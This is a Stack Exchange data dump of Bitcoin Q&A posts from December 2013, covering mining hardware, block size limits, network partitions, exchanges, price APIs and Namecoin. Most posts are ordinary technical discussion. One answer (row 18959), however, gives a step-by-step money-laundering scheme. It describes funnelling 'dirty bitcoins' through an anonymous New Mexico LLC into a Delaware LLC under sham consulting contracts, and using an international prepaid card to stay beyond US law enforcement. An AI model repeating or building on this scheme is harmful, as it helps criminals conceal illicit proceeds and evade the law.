  <row Id="18951" PostTypeId="2" ParentId="18796" CreationDate="2013-12-18T00:08:28.143" Score="2" Body="&lt;p&gt;You should know that as of bitcoin 0.8.6, the default maximum block size is actually now increased to &lt;a href=&quot;https://gist.github.com/gavinandresen/7670433#086-accept-into-block&quot; rel=&quot;nofollow&quot;&gt;350,000 bytes&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 350,000 bytes is a soft limit. All miners are motivated to maximize filling the block size to 1MB for each block because it would be irrational for them to do any less and leave fees to other miners that they could easily collect themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus all blocks are usually mined to the maximum limit with paid transactions and then free transactions are included once all fee-based, unverified transactions have been verified.&lt;/p&gt;&#xA;" OwnerUserId="7388" LastActivityDate="2013-12-18T00:08:28.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18954" PostTypeId="1" CreationDate="2013-12-18T01:10:13.047" Score="2" ViewCount="1096" Body="&lt;p&gt;I'm using Windows 8.1 and CGminer 3.1.0 trying to mine litecoins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's odd about this computer is that the video card is some kind of HP OEM device, that's getting driver updates (latest August 2013) in the windows device manager and plays video games well, even without Catalyst and/or the SDK installed.  When I do install the latest 13.1 CCC it doesn't do anything, the card isn't even being detected in there.  GPU-z and Afterburner show my card as a 'radeon 7500 series' and 'Radeon 7570' respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qyh1r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are all sorts of AMD drivers in the /windows/system32/drivers section&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what CGMiner says:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zL1NO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I go ahead and log in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e3G8n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions?  I noticed that the new CCC doesn't list 7500 series (not saying they don't support them) but maybe an older version of CCC?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently did a driversweep where I ripped all of the 7570 drivers out of the system and reverted it back to a Windows Basic Display Adapter, and installed Catalyst.  That didn't work, I had to do a system restore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions welcome!  Thanks :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT #1  CGminer would just hang and eventually a windows &quot;This application is not responding&quot; screen would come up before I installed the SDK.  I forgot to mention this earlier.&lt;/p&gt;&#xA;" OwnerUserId="10998" LastEditorUserId="5406" LastEditDate="2016-04-25T21:16:04.710" LastActivityDate="2016-04-25T21:16:04.710" Title="My Radeon 7570 that comes with my hp envy h8-1409 is not being detected by CGminer (Litecoins)" Tags="|client|litecoin|miner-configuration|cgminer|gpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18955" PostTypeId="1" CreationDate="2013-12-18T01:39:49.843" Score="1" ViewCount="10630" Body="&lt;p&gt;Well, bit coin mining is looking more and more promising and to be honest, i don't know a lot. I heard you get a lot from AMD cards, but if i use my Nvidia card will it even be worth it? Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a guide to start mining? like a beginners guide for retards?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: By worth it i mean will my power bill be more than what im earning, or have they come up so much that its not a big deal? &lt;/p&gt;&#xA;" OwnerUserId="11000" LastEditorUserId="5406" LastEditDate="2016-04-25T21:14:23.700" LastActivityDate="2016-04-25T21:14:23.700" Title="Can i mine with a GTX 760?" Tags="|mining-profitability|mining-hardware|gpu|amd|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-03T07:39:29.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="18957" PostTypeId="1" CreationDate="2013-12-18T03:15:29.603" Score="5" ViewCount="465" Body="&lt;p&gt;I'm new to BitCoin and curious about a lot of things about it, and about the mining network. So is it safe for everyone to mine and not get their PC or other machines get hit by a virus if it goes along the transfer of information? How safe are we from this scenario as users?&lt;/p&gt;&#xA;" OwnerUserId="10957" LastActivityDate="2013-12-18T07:09:33.917" Title="Is it possible that a virus could be included in the block chain or even spread out to computers as miners are trying to mine?" Tags="|virus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18958" PostTypeId="1" AcceptedAnswerId="18969" CreationDate="2013-12-18T03:39:03.150" Score="12" ViewCount="975" Body="&lt;p&gt;Please assume a small island nation becomes 100% denominated in a cryptocurrency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now please assume that for some reason the rest of the world manages to cut if off from the rest of the internet for some extended period of time, eg 1 year or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the time that is isolated, it of course is able to continue using the cryptocurrency; however, what happens when connectivity to the outside world is restored?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will all of this nation's transactions be lost forever and reset to the time before connectivity was lost?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the transactions can be somehow recovered, what happens to all mining fees on the island during disconnection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anything is lost, how could a protocol be altered to manage this eventuality?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2013-12-18T03:44:59.743" LastActivityDate="2021-04-02T16:19:27.240" Title="What if a country 100% denominated in a cryptocurrency loses internet connectivity to the rest of the world?" Tags="|transactions|blockchain|protocol|future-proof|connection|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="18959" PostTypeId="2" ParentId="18946" CreationDate="2013-12-18T04:00:56.807" Score="-1" Body="&lt;p&gt;In strictly hypothetical terms, I think you're over thinking this. You're doing it all wrong. Stop it. With financial compliance laws in the US, you're going to set off some kind of red flag. Remember, exchanges are required to inform on you for anything that might look suspicious. Don't chance it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two thoughts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply, use a service like Bitplastic.com, and swallow the 5%+1BTC fee. It's essentially a pre-paid MasterCard that works on the coinbase (I think) exchange rate. If you're in the US and doing bad things, this is appealing for a couple of reasons. The first being that it's an international card, so the FBI and local law enforcement has no jurisdiction over it. They would have to call Interpol on you, and they're not going to do that unless you're important. Stay unimportant, and you're made in the shade. The other thing that's nice is the simplicity of it. You don't have to involve an exchange (ie: a second or third potential point of failure) to use your ill gotten wealth. &#xA;&lt;br&gt;&lt;br&gt;The other thing I would do is start an LLC out of New Mexico. New Mexico LLC's are great, because they're almost totally anonymous. They're not totally online yet, so it might take a couple of months to file the paperwork. Trust me when I say this: It's totally worth having one of these. Anyway, from there, start a Delaware LLC that is registered to you, and not the New Mexico LLC. Still with me? Make sure both companies have bank accounts with different signers. Funnel the dirty bitcoins into the New Mexico LLC, and have it contract with the Delaware LLC to do some sort of legitimate work. Keep a record of this work. Call it &quot;consulting.&quot; Just be careful, so that there are absolutely no ties between the companies on paper. When it's time, have the Delaware LLC pay taxes on all work. At that point, you're legal, only the anonymous LLC is tainted, and you're good to go. A third offshore LLC in a place like England might also be useful, but I don't want to get into that right now.&lt;br&gt;&lt;br&gt;&#xA;If you try something like this, and screw it up, you're probably  going to prison. Just remember that I take no responsibility for anything you may or may not do with these ideas. On the other hand, this too may be over thinking it. It's been my experience that the simplest solutions are usually the best. &lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2013-12-18T04:00:56.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18960" PostTypeId="1" CreationDate="2013-12-18T04:06:55.410" Score="1" ViewCount="402" Body="&lt;p&gt;I would like to know if is it ok to sell micro BTC? Like a few decimal places like 0.01 BTC? And where would I sell it to exchange for other currencies? And how do I get the exchange safely?&lt;/p&gt;&#xA;" OwnerUserId="10957" LastActivityDate="2014-05-09T07:20:02.507" Title="Where could I sell micro BTC and is it possible?" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18961" PostTypeId="2" ParentId="18960" CreationDate="2013-12-18T04:21:47.647" Score="-2" Body="&lt;p&gt;If all you want to do is trade for altcoins, I've found that Crypsy is pretty good.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2013-12-18T04:21:47.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18962" PostTypeId="1" CreationDate="2013-12-18T04:41:27.210" Score="3" ViewCount="3230" Body="&lt;p&gt;I want to build an mobile application which tells you how much your bitcoins are worth in USD. I would like to know of good API that I can rely on for data. As well as historic conversion rates over time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 5 bitcoins -&gt; which are worth 5031 USD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus points for other alt-currencies included in said API. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like something that isn't linked to a particular service or exchange.&lt;/p&gt;&#xA;" OwnerUserId="10539" LastEditorUserId="10539" LastEditDate="2013-12-22T06:08:16.650" LastActivityDate="2014-01-04T04:02:23.300" Title="USD conversion rate API" Tags="|api|currencies|" AnswerCount="4" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18963" PostTypeId="1" AcceptedAnswerId="22904" CreationDate="2013-12-18T05:20:44.747" Score="2" ViewCount="180" Body="&lt;p&gt;Are there any examples of cryptoequities or cryptoliabilities?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen the &lt;a href=&quot;https://cryptostocks.com/&quot; rel=&quot;nofollow&quot;&gt;cryptostocks site&lt;/a&gt;, but it doesn't look to be what I'm envisioning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simplicity's stake, please imagine a corporation that wants to issue stock that will never pay a dividend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could a fully integrated trading system be built off of the cryptocurrency concept?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some of the criteria:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A corporation is the only issuer in a blockchain, so no mining rewards, only fees&lt;/li&gt;&#xA;&lt;li&gt;The blockchain would probably need to be denominated in a single cryptocurrency&lt;/li&gt;&#xA;&lt;li&gt;There would need to be some sort of automatically resolving escrow system where a buyer first deposits cash through into the blockchain before a trade can go through with automatic refunds if the trade fails&lt;/li&gt;&#xA;&lt;li&gt;Buyer and seller would both have to sign the transaction, buyer pledging an amount of cryptocurrency, seller pledging an amount of cryptoequity&lt;/li&gt;&#xA;&lt;li&gt;Orders would have to be able to be left in an &quot;open&quot; state to provide a limit book; in other words, buyers would need to be able to post how much cryptocurrency they would want to sell so to buy some amount of cryptoequity while whether the transaction will complete is uncertain, and sellers would need to be able to do the reverse while of course pre-depositing in the escrow&lt;/li&gt;&#xA;&lt;li&gt;Open orders would need some mechanism to be canceled&lt;/li&gt;&#xA;&lt;li&gt;Orders would need to be able to be partially filled, so an open bid could be partially filled by a seller leaving behind the remaining order and vice versa&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How could this be accomplished?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I will post any other necessary details)&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2013-12-18T08:17:23.753" LastActivityDate="2014-05-31T07:34:04.117" Title="Cryptoissues? (stocks &amp; bonds)" Tags="|alternatives|future-proof|transaction-verification|stocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18964" PostTypeId="2" ParentId="18962" CreationDate="2013-12-18T05:42:05.343" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Charts API&lt;/a&gt; has current USD/BTC exchange rates sourced from MtGox.com, as well as historic trade data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the &lt;a href=&quot;https://www.cryptsy.com/pages/api&quot; rel=&quot;nofollow&quot;&gt;Cryptsy API&lt;/a&gt; and &lt;a href=&quot;https://vircurex.com/welcome/api?locale=en&quot; rel=&quot;nofollow&quot;&gt;Vircurex API&lt;/a&gt; for alternate cryptocurrencies. I'm not sure if these would fit your needs, but they are worth looking into.&lt;/p&gt;&#xA;" OwnerUserId="1643" LastEditorUserId="1643" LastEditDate="2013-12-18T05:47:52.003" LastActivityDate="2013-12-18T05:47:52.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18965" PostTypeId="2" ParentId="10010" CreationDate="2013-12-18T06:47:52.010" Score="0" Body="&lt;p&gt;This is ubuntu we're talking about. &#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;will work.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2013-12-18T06:47:52.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18966" PostTypeId="1" AcceptedAnswerId="19005" CreationDate="2013-12-18T07:03:08.620" Score="1" ViewCount="367" Body="&lt;p&gt;I read somewhere that as older a bitcoin become as higher exchange fees the buyer has to pay. Is that correct?  These exchange fees go to the miners only or to whom else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="9894" LastActivityDate="2013-12-19T09:19:26.873" Title="miners fees and exchange fees" Tags="|exchange-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18967" PostTypeId="1" AcceptedAnswerId="18978" CreationDate="2013-12-18T07:08:38.710" Score="1" ViewCount="222" Body="&lt;p&gt;It is not really clear to me what is the role of the miners after they mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understood correctly a  miner has also the task to &quot;verify&quot; any new transaction and for doing so he automatically gets a fee....is that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain that to me?&lt;/p&gt;&#xA;" OwnerUserId="9894" LastEditorUserId="5406" LastEditDate="2016-04-25T21:12:36.393" LastActivityDate="2016-04-25T21:12:36.393" Title="Miners after mining" Tags="|mining-theory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18968" PostTypeId="2" ParentId="18957" CreationDate="2013-12-18T07:09:33.917" Score="4" Body="&lt;p&gt;Ideally it is safe, the data transferred in bitcoin protocol is never meant to be executed. However:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The transactions themself &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow noreferrer&quot;&gt;are programs&lt;/a&gt;. While they are limited and cannot &lt;em&gt;directly&lt;/em&gt; affect your computer, they can be just very computationally expensive, &lt;a href=&quot;http://en.wikipedia.org/wiki/Denial-of-service_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;DoSing&lt;/a&gt; your PC. This attack is impossible now &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5978/2343&quot;&gt;and in foreseeable future&lt;/a&gt;, since any non-standard transaction will not be evaluated.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Not virus, but it is possible to include arbitrary text messages inside blockchain. Therefore, one can include something that is illegal in some jurisdiction, potentially making bitcoin illegal as well, since blockchain can not be retroactively redacted. However, it is dubious whether such trick will actually work (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=11381.100&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1akyy4/what_happens_if_someone_inserts_illegal_content/&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;). But there was some &lt;a href=&quot;https://bitcointalk.org/index.php?topic=38007.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;commotion about including catholic prayers in block headers&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There might be some bugs in bitcoin software (be it client or miner), just like in any other software. For example, it is possible to crash a computer by sending &lt;a href=&quot;http://en.wikipedia.org/wiki/Ping_of_death&quot; rel=&quot;nofollow noreferrer&quot;&gt;specially formed ping&lt;/a&gt; or &lt;a href=&quot;http://technet.microsoft.com/en-us/security/bulletin/ms11-083&quot; rel=&quot;nofollow noreferrer&quot;&gt;execute code by sending packets to a &lt;em&gt;closed&lt;/em&gt; network port&lt;/a&gt;. This applies to all software and is not bitcoin-specific.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2343" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-12-18T07:09:33.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18969" PostTypeId="2" ParentId="18958" CreationDate="2013-12-18T07:18:40.797" Score="17" Body="&lt;p&gt;I am just guessing here given the little I know about bitcoin and distributed databases.&lt;/p&gt;&#xA;&lt;p&gt;This comes down to the how &lt;a href=&quot;http://en.wikipedia.org/wiki/CAP_theorem&quot; rel=&quot;nofollow noreferrer&quot;&gt;CAP theorem&lt;/a&gt; applies to the bitcoin blockchain DB.&lt;/p&gt;&#xA;&lt;p&gt;CAP theorem states that it is impossible for a distributed computer system to simultaneously provide all three of the following guarantees:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Consistency (all nodes see the same data at the same time)&lt;/li&gt;&#xA;&lt;li&gt;Availability (a guarantee that every request receives a response about whether it was successful or failed)&lt;/li&gt;&#xA;&lt;li&gt;Partition tolerance (the system continues to operate despite arbitrary message loss or failure of part of the system)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;As far as I can tell it is not consistent. And will handle partitions for a short period.&#xA;(and you could argue that long periods of partition will break availability of some transactions)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Details of what I think might happen:&lt;/strong&gt;&#xA;(If every one plays nice and someone makes a few tweaks to the software it will come back online)&lt;/p&gt;&#xA;&lt;p&gt;The bitcoin protocol has (in simple terms) two sets of data that it transmits/stores.&#xA;One is the block chain which is the authoritative order that transactions occur in.&lt;br /&gt;&#xA;The other is a gossip of the transactions.&lt;/p&gt;&#xA;&lt;p&gt;First of all transactions would gossip around the islands network, but they would not get confirmed. Even if there were miner nodes on the network. This is because the difficulty would be very high.&#xA;The chance of the miners on the island of finding a block would be very low. So the confirmations of the transactions would probably not occur.&lt;/p&gt;&#xA;&lt;p&gt;The difficultly is only adjusted every 2016 blocks. But as the miners on the island can not find a block the difficulty will not change. The confirmations would become stalled.&lt;/p&gt;&#xA;&lt;p&gt;Basically if every one trusted 0 confirms and didn't double spend (hint: that is not going to happen) you could carry on as normal (assuming your software will let you spend 0 confirmed transactions)&lt;/p&gt;&#xA;&lt;p&gt;This could lead to the network collapsing.&#xA;However if someone changed their mining software to mine at a much lower difficulty I &lt;em&gt;think&lt;/em&gt; the network could start confirming again.&#xA;Normally this would not work as then bitcoin network would very quickly drop your block in favour of a longer more difficult one. But since you are in a partition you would win (for now)&#xA;Lets assume the miner who modded his software didn't try to make any double spends (which he would only be able to with the money he has before the partition, and there are enough miners so there are not any 51% atacks.&#xA;2016 blocks after that the network would readjust the difficulty (to the sum hashing power of the pool) and every thing would hopefully stabilise.&#xA;Ok all seems fine the partitioned island network would carry on.&lt;/p&gt;&#xA;&lt;p&gt;That is until then partition is reconnected. &lt;strong&gt;(Dun dun dunnnnnnnn)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;At that point two things would happen.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A longer more difficult block chain would replace the island block chain as the authoritative chain. This would wipe out &lt;strong&gt;all&lt;/strong&gt; of the island confirmed transactions.&lt;/li&gt;&#xA;&lt;li&gt;The island nodes would start gossiping the transactions that had occurred on to the other (newly connected) main partition.&#xA;This is assuming that, between all of the islands nodes, some of the software had a full copy of the gossiped transactions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;em&gt;I think it would take the same number of blocks as the longest train of island transaction for all of the island transactions to be confirmed on the network.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Every thing back to normal???&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt; (insert Lost reference) &lt;strong&gt;as long as no one got off the island;&lt;/strong&gt; with their bitcoin wallet.&lt;/p&gt;&#xA;&lt;p&gt;If some one made a transaction from their wallet on both the island and on the main network,&#xA;then their transactions on the island would be seen as invalid (like a failed double spend).&#xA;But that would also mean that anyone the island who had made a transaction based on that failed transaction would find that their transactions would also be invalid etc etc. In other words that one double spend transaction would be poisoned.&lt;/p&gt;&#xA;&lt;p&gt;Also any coins mined during the partition would also be poisoned.&lt;/p&gt;&#xA;&lt;p&gt;Everyone's wallets along the poisoned branch(s) would revert to the balance they had just before that poisoned transaction.&lt;/p&gt;&#xA;&lt;p&gt;You could check for those poisoned transactions with some offline copies of the block chain; before you reconnected the partitions.&lt;/p&gt;&#xA;&lt;p&gt;This would make for an interesting set of norms, for your islands culture:&lt;/p&gt;&#xA;&lt;p&gt;Your &lt;strong&gt;island's economy&lt;/strong&gt; would depend on the (threat of the) &lt;strong&gt;death penalty&lt;/strong&gt; being applied to anyone who &lt;strong&gt;tries to make&lt;/strong&gt; offshore &lt;strong&gt;double spends&lt;/strong&gt; (or spend coins mined on the island).&#xA;(Miners could still make money through transaction fees)&lt;/p&gt;&#xA;&lt;p&gt;The import of mining rigs would fetch huge quantity of bananas and coconuts (as that would be the only thing you would have left to barter with internationally (Since you no longer have a national currency and can't trade internationally with bit-coins) :P&lt;/p&gt;&#xA;" OwnerUserId="7052" LastEditorUserId="7052" LastEditDate="2021-04-02T07:53:55.840" LastActivityDate="2021-04-02T07:53:55.840" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18971" PostTypeId="2" ParentId="4652" CreationDate="2013-12-18T07:46:54.350" Score="3" Body="&lt;p&gt;You can run bitcoind or bitcoinqt in offline mode (disconnected from the Internet). The client does not need to be synced. Then you can use the console to view transactions using the command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;decoderawtransaction &amp;lt;hex string&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if the signatures are correct, you need to do a &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;signrawtransaction &amp;lt;hex string&amp;gt;&lt;/code&gt; without any other arguments. It will output a &lt;code&gt;{complete:true}&lt;/code&gt; result if the signature verifies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Edit:&lt;/b&gt; I should mention that the signatures cannot be verified if the inputs are not known to bitcoind. In that case you will have to supply the inputs as discussed &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions#Validate_a_transaction_without_broadcasting_it&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="2075" LastEditDate="2014-07-28T21:58:47.633" LastActivityDate="2014-07-28T21:58:47.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18973" PostTypeId="2" ParentId="2228" CreationDate="2013-12-18T08:06:52.030" Score="2" Body="&lt;p&gt;There's nothing about Bitcoin that makes it especially appealing for money laundering. In fact, given the nature of the block chain, I would think it would be a fairly unappealing prospect for money laundering, because every transaction is publicly posted. Of course, the real issue with money laundering is defining it. I don't even think the authorities have a clear idea of what the term actually means at the moment.&#xA;&lt;br&gt;&lt;br&gt;Money laundering, at least historically, has been somewhat of a science. If you want a really good idea on how it's done, just take a look at some of the schemes Google and Apple have come up with to get out of paying taxes. One point of note is that none of these schemes involve Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2013-12-18T08:06:52.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18975" PostTypeId="2" ParentId="18960" CreationDate="2013-12-18T08:33:52.800" Score="2" Body="&lt;p&gt;The smallest part of a bitcoin is (currently) called 1 satoshi, and it is equal to 0.00000001 BTC. So selling 0.01 BTC is no problem on any exchange, you only have to take into account the fees which are asked by the exchange. If it's a percentage (as it usually is) you're fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to sell you can use big sites like bitstamp, coinbase etc.&#xA;To trade for other cryptocurrencies you can use btc-e, kraken, cryptsy, ...&lt;/p&gt;&#xA;" OwnerUserId="11013" LastEditorUserId="11013" LastEditDate="2014-05-09T07:20:02.507" LastActivityDate="2014-05-09T07:20:02.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18978" PostTypeId="2" ParentId="18967" CreationDate="2013-12-18T09:01:27.843" Score="1" Body="&lt;p&gt;Indeed, the miners (should) verify new transactions before including them into a block and also before accepting a new block as valid. However, they do not get fees for verifying transactions, they only obtain the fees if they mine the block where the transactions are included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The transaction fee is processed by and received by the bitcoin miner.&#xA;  When a new bitcoin block is generated with a successful hash, the&#xA;  information for all of the transactions is included with the block and&#xA;  &lt;strong&gt;all transaction fees are collected by that user creating the block&lt;/strong&gt;,&#xA;  who is free to assign those fees to himself.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Therefore, the role of the miners after they mined is just to keep mining (and so to keep validating new blocks when they receive them, and new transactions before including them into blocks).&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2013-12-18T09:01:27.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18980" PostTypeId="1" AcceptedAnswerId="18982" CreationDate="2013-12-18T09:53:41.107" Score="1" ViewCount="196" Body="&lt;p&gt;I just stared in the bitcoin world and my bitcoin pool says I have :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoins    0.00000277&#xA;Namecoins   0.00000864 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What exactly that means Namecoins mean? Is there any extra effort to process those Namecoins?&lt;/p&gt;&#xA;" OwnerUserId="10970" LastActivityDate="2013-12-18T10:46:32.180" Title="What Namecoins are used for?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18981" PostTypeId="2" ParentId="4916" CreationDate="2013-12-18T09:58:21.477" Score="0" Body="&lt;p&gt;I want to note. There is about 2^256 valid private keys. But there is only 2^160 valid addresses. Hash functions are used to convert public key to address. So, it is very-very likely, that for any valid bitcoin address there is a valid private key.&lt;/p&gt;&#xA;" OwnerUserId="10411" LastEditorUserId="10411" LastEditDate="2013-12-18T10:15:58.970" LastActivityDate="2013-12-18T10:15:58.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18982" PostTypeId="2" ParentId="18980" CreationDate="2013-12-18T10:46:32.180" Score="1" Body="&lt;p&gt;Namecoins are a separate implementation of the bitcoin protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is designed around the ability to use a blockchain to store information about namespaces for domains so once configured, a DNS could route traffic to a specific server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension for these domains are currently .bit but this can be expanded at a later date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namecoin uses merged mining. No extra effort is required (the hash is checked against both chains).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found out at &lt;a href=&quot;http://namecoin.info&quot; rel=&quot;nofollow&quot;&gt;http://namecoin.info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions about the protocol are welcome here also.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-12-18T10:46:32.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18984" PostTypeId="1" AcceptedAnswerId="24754" CreationDate="2013-12-18T11:05:41.750" Score="4" ViewCount="455" Body="&lt;p&gt;I know that non-final transactions (locktime in future and sequence number &amp;lt; MAX_UINT) are not &quot;accepted by miners&quot;. However, I could not figure out the exact behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I mined my own block with a non-final transaction, would that block be considered valid, i.e., would clients add it to their copy of the chain and would other miners build on top of that block? &#xA;(I suppose the answer is &quot;no&quot; because otherwise attacks on contracts could be possible.)&lt;/p&gt;&#xA;" OwnerUserId="11019" LastActivityDate="2014-04-20T21:38:51.860" Title="Could I mine a non-final transaction?" Tags="|contracts|locktime|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
